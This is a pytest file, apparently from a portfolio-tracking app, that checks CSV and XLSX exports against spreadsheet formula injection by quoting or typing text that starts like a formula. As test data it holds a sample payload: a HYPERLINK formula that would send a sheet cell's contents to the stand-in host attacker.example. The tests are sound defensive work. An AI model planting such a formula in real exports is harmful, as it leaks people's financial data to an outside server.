Ctrl K
ComunidadGuías…

tests/test_export_formulas.py

Rama main · réplica de lectura del repositorio original.

Archivo original ↗Preguntar a KiBot
"""Exported text is shown by a spreadsheet, never run (GHSA-w8x6-x99c-773x).

A note, an instrument's name or its Yahoo symbol is typed by a person, and the
catalogue is shared: a writer in one portfolio can put text into another
portfolio's export. Opened in Excel, LibreOffice or Sheets, a cell that starts
with "=" is a formula, such as a HYPERLINK that carries the sheet's numbers to
another server, and "+", "-", "@", a tab or a carriage return start one in some
of them.

CSV has no cell types, so text that starts like a formula gets a leading quote,
OWASP's rule. XLSX has them: every text cell is written as text, which is shown
and not evaluated, with no quote to see. Numbers are numbers in both, so a
negative figure keeps its sign.
"""

from __future__ import annotations

import csv
import io
from decimal import Decimal

import pytest
from openpyxl import load_workbook

import factories as fac
from app import exports
from test_routes import bind_to_only_portfolio, make_login

LEADS = ["=", "+", "-", "@", "\t", "\r"]
LINK = 'HYPERLINK("http://attacker.example/?x="&A2,"Click to verify")'


def _csv_rows(body: bytes) -> list[list[str]]:
    return list(csv.reader(io.StringIO(body.decode("utf-8-sig"))))


def _sheet(body: bytes):
    return load_workbook(io.BytesIO(body)).worksheets[0]


@pytest.mark.parametrize("lead", LEADS, ids=repr)
def test_csv_quotes_text_that_starts_like_a_formula(lead):
    rows = _csv_rows(exports.to_csv(["Note", "Value"], [[lead + LINK, Decimal("-12.50")]]))
    assert rows[1][0] == "'" + lead + LINK
    assert rows[1][1] == "-12.50", "a negative number is not a formula"


@pytest.mark.parametrize("lead", LEADS, ids=repr)
def test_xlsx_writes_text_that_starts_like_a_formula_as_text(lead):
    ws = _sheet(exports.to_xlsx({"Report": (["Note", "Value"],
                                            [[lead + LINK, Decimal("-12.50")]])}))
    assert ws["A2"].data_type == "s", "written as a formula"
    assert ws["A2"].value.endswith(LINK) and not ws["A2"].value.startswith("'")
    assert ws["B2"].data_type == "n" and ws["B2"].value == -12.5


def test_ordinary_text_is_left_alone():
    rows = _csv_rows(exports.to_csv(["Note"], [["bought on the dip"], ["2026-01-05"], [""]]))
    assert [r[0] for r in rows[1:]] == ["bought on the dip", "2026-01-05", ""]


@pytest.mark.parametrize("fmt", ["csv", "xlsx"])
def test_an_exported_name_and_note_cannot_run(client, session_factory, fmt):
    """The route end to end, with the advisory's payload in the shared
    catalogue's name and in a trade's note."""
    make_login(client, session_factory)
    with session_factory() as s:
        bind_to_only_portfolio(s)
        inst = fac.make_instrument(s, "ACME", name="=" + LINK)
        fac.add_trade(s, inst, "2026-01-05", "buy", 10, "4.00", note="@SUM(1+1)")
        s.commit()
    resp = client.get(f"/export/download?report=transactions&fmt={fmt}")
    assert resp.status_code == 200
    if fmt == "csv":
        header, row = _csv_rows(resp.content)[:2]
        assert row[header.index("Name")] == "'=" + LINK
        assert row[header.index("Note")] == "'@SUM(1+1)"
    else:
        ws = _sheet(resp.content)
        header = [c.value for c in ws[1]]
        for column, text in (("Name", "=" + LINK), ("Note", "@SUM(1+1)")):
            found = ws.cell(row=2, column=header.index(column) + 1)
            assert found.data_type == "s" and found.value == text, column